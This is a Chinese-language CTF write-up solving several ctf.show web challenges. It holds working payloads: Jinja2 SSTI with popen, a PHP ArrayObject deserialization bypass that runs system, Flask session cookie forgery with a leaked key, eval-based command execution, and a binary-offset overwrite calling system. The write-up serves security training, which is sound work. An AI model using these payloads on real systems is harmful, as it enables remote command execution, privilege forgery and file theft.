easy_signin
观察url
,发现base64
,进行解码,原来可以访问文件路径,那我们访问一下index.php
?img=aW5kZXgucGhw
查看源代码发现还是base64
解码得到flag
被遗忘的反序列化
<?php# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");class EeE{public $text;public $eeee;public function __wakeup(){if ($this->text == "aaaa"){echo lcfirst($this->text);}}public function __get($kk){echo "$kk,eeeeeeeeeeeee";}public function __clone(){$a = new cycycycy;$a -> aaa();}}class cycycycy{public $a;private $b;public function aaa(){$get = $_GET['get'];$get = cipher($get);if($get === "p8vfuv8g8v8py"){eval($_POST["eval"]);}}public function __invoke(){$a_a = $this -> a;echo "\$a_a\$";}
}class gBoBg{public $name;public $file;public $coos;private $eeee="-_-";public function __toString(){if(isset($this->name)){$a = new $this->coos($this->file);echo $a;}else if(!isset($this -> file)){return $this->coos->name;}else{$aa = $this->coos;$bb = $this->file;return $aa();}}
} class w_wuw_w{public $aaa;public $key;public $file;public function __wakeup(){if(!preg_match("/php|63|\*|\?/i",$this -> key)){$this->key = file_get_contents($this -> file);}else{echo "不行哦";}}public function __destruct(){echo $this->aaa;}public function __invoke(){$this -> aaa = clone new EeE;}
}$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
dirsearch -u https://6a507383-fc70-4ba6-a66c-24b870f3dd9e.challenge.ctf.show/-w /home/kali/Desktop/dirsearch/db/dicc.txt
没扫出来
easy_ssti
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')
def hello(name=None):return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):if "ge" in name:return render_template_string('hello %s' % name)elif "f" not in name:return render_template_string('hello %s' % name)else:return 'Nonononon'
要ge不要f
构造payload ssti注入
url/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}?ctfshow=cat /f*
暗网聊天室
import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, aborturl = 'https://b52f786b-a8eb-4aee-8cde-fb7bb40393da.challenge.ctf.show/' # 题目URL,先等几秒再运行# 加密
def encrypt(plaintext, public_key):cipher = PKCS1_v1_5.new(RSA.importKey(public_key))ciphertext = ''for i in range(0, len(plaintext), 128):ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()return ciphertextdef get_plaintext_half():text = requests.get(url+'/update').textreturn re.findall('[^@]*\.92', text)[0]def get_public_key(public_key):text = requests.get(url+'/shop?api=127.0.0.1:9999').textreturn re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]# 请求
requests.post(url + '/pass_message',data = {'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()
easy_class
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
namespace ctfshow;class C{const __REF_OFFSET_1 = 0x41;const __REF_OFFSET_2 = 0x7b;const __REF_OFFSET_3 = 0x5b;const __REF_OFFSET_4 = 0x60;const __REF_OFFSET_5 = 0x30;const __REF_OFFSET_6 = 0x5f;const __REF_SIZE__= 20;const __REF_VAL_SIZE__= 50;private $cursor=0;private $cache;private $ref_table=[];function main(){$flag = md5(file_get_contents("/flag"));$this->define('ctfshow',self::__REF_VAL_SIZE__);$this->define('flag',strlen($flag));$this->neaten();$this->fill('flag',$flag);$this->fill('ctfshow',$_POST['data']);if($this->read('ctfshow')===$this->read('flag')){echo $flag;}}private function fill($ref,$val){rewind($this->cache);fseek($this->cache, $this->ref_table[$ref]+23);$arr = str_split($val);foreach ($arr as $s) {fwrite($this->cache, pack("C",ord($s)));}for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) { fwrite($this->cache, pack("C","\x00"));}$this->cursor= ftell($this->cache);}public static function clear($var){;}private function neaten(){$this->ref_table['_clear_']=$this->cursor;$arr = str_split("_clear_");foreach ($arr as $s) {$this->write(ord($s),"C");}for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C');}$arr = str_split(__NAMESPACE__."\C::clear");foreach ($arr as $s) {$this->write(ord($s),"C");}$this->write(0x36d,'Q');$this->write(0x30,'C');for ($i=1; $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C');}}private function readNeaten(){rewind($this->cache);fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));call_user_func($f,$p);}private function define($ref,$size){$this->checkRef($ref);$r = str_split($ref);$this->ref_table[$ref]=$this->cursor;foreach ($r as $s) {$this->write(ord($s),"C");}for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C');}fwrite($this->cache,pack("v",$size));fwrite($this->cache,pack("C",0x31));$this->cursor= ftell($this->cache);for ($i=0; $i < $size; $i++) { $this->write("\x00",'a');}}private function read($ref){if(!array_key_exists($ref,$this->ref_table)){throw new \Exception("Ref not exists!", 1);}if($this->ref_table[$ref]!=0){$this->seekCursor($this->ref_table[$ref]);}else{rewind($this->cache);}$cref = fread($this->cache, 20);$csize = unpack("v", fread($this->cache, 2));$usize = fread($this->cache, 1);$val = fread($this->cache, $csize[1]);return $this->truncation($val);}private function write($val,$fmt){$this->seek();fwrite($this->cache,pack($fmt,$val));$this->cursor= ftell($this->cache);}private function seek(){rewind($this->cache);fseek($this->cache, $this->cursor);}private function truncation($data){return implode(array_filter(str_split($data),function($var){return $var!=="\x00";}));}private function seekCursor($cursor){rewind($this->cache);fseek($this->cache, $cursor);}private function checkRef($ref){$r = str_split($ref);if(sizeof($r)>self::__REF_SIZE__){throw new \Exception("Refenerce size too long!", 1);}if(is_numeric($r[0]) || $this->checkByte($r[0])){throw new \Exception("Ref invalid!", 1);}array_shift($r);foreach ($r as $s) {if($this->checkByte($s)){throw new \Exception("Ref invalid!", 1);}}}private function checkByte($check){if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){return true;}if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4 && ord($check) !== self::__REF_OFFSET_6){return true;}return false;}function __construct(){$this->cache=fopen("php://memory","wb");}public function __destruct(){$this->readNeaten();fclose($this->cache);}}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;$c->main();
import requestsurl = "https://fdc9015c-3153-4262-80e3-5d1ac0131a9a.challenge.ctf.show/"data = {"data":"A"*50+"flag"+"\x00"*19+"B"*32+"\x00"*20+"system"+"\x00"*18+"cat /f1agaaa"+"\x00"*8
}response = requests.post(url=url,data=data)print(response.text)
easy_flask
随便搞个账号之后登录
点击learn
能看到部分源码
这是部分源码中有用的部分
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__)app.secret_key = 'S3cr3tK3y'users = {}
用flask的session伪造自己为管理员
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else: # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))
python flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9.ZC0-eA.Tjc6-iJogFi49pC1I39fMy265H8"
python flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
-s 是密钥
-c 后面放的是jwt的session
-t 是原内容加密为session_jwt
修改session
发现可以下载文件
/download/?filename=app.py
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__)app.secret_key = 'S3cr3tK3y'users = {'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}@app.route('/')
def index():# Check if user is loggedinif 'loggedin' in session:return redirect(url_for('profile'))return redirect(url_for('login'))@app.route('/login/', methods=['GET', 'POST'])
def login():msg = ''if request.method == 'POST' and 'username' in request.form and 'password' in request.form:username = request.form['username']password = request.form['password']if username in users and password == users[username]['password']:session['loggedin'] = Truesession['username'] = usernamesession['role'] = users[username]['role']return redirect(url_for('profile'))else:msg = 'Incorrect username/password!'return render_template('login2.html', msg=msg)@app.route('/register/', methods=['GET', 'POST'])
def register():msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form:username = request.form['username']password = request.form['password']if username in users:msg = 'Account already exists!'else:users[username] = {'password': password, 'role': 'user'}msg = 'You have successfully registered!'return render_template('register2.html', msg=msg)@app.route('/profile/')
def profile():if 'loggedin' in session:return render_template('profile2.html', username=session['username'], role=session['role'])return redirect(url_for('login'))@app.route('/show/')
def show():if 'loggedin' in session:return render_template('show2.html')@app.route('/download/')
def download():if 'loggedin' in session:filename = request.args.get('filename')if 'filename' in request.args: return send_file(filename, as_attachment=True)return redirect(url_for('login'))@app.route('/hello/')
def hello_world():try:s = request.args.get('eval')return f"hello,{eval(s)}" #看到eval我就像狗看到屎,很明显的ssti嘛except Exception as e:print(e)passreturn "hello"@app.route('/logout/')
def logout():session.pop('loggedin', None)session.pop('id', None)session.pop('username', None)session.pop('role', None)return redirect(url_for('login'))if __name__ == "__main__":app.run(host='0.0.0.0', port=8080)
?eval=__import__("os").popen("cat /f*").read()
我先一直在哪里打{{}}因为没看到已经加了,结果后面仔细一看,哈哈哈
easy_php
<?phperror_reporting(0);
highlight_file(__FILE__);class ctfshow{public function __wakeup(){die("not allowed!");}public function __destruct(){system($this->ctfshow);}}$data = $_GET['1+1>2'];if(!preg_match("/^[Oa]:[\d]+/i", $data)){ //不让O,a开头unserialize($data);
}?>
先跑个正则! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ 基本没过滤了
用C代替O来打头但是我们知道这样子会使得没有属性,难以进行命令执行
但是我们有个内置类可以重新封装类进行反序列化ArrayObject
就会将O变为C从而实现本题
<?phpclass ctfshow{public $ctfshow="cat /f1agaaa";
}$a = new ArrayObject;
$a->a=new ctfshow();
echo serialize($a);
?1%2b1%3e2=C:11:"ArrayObject":81:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}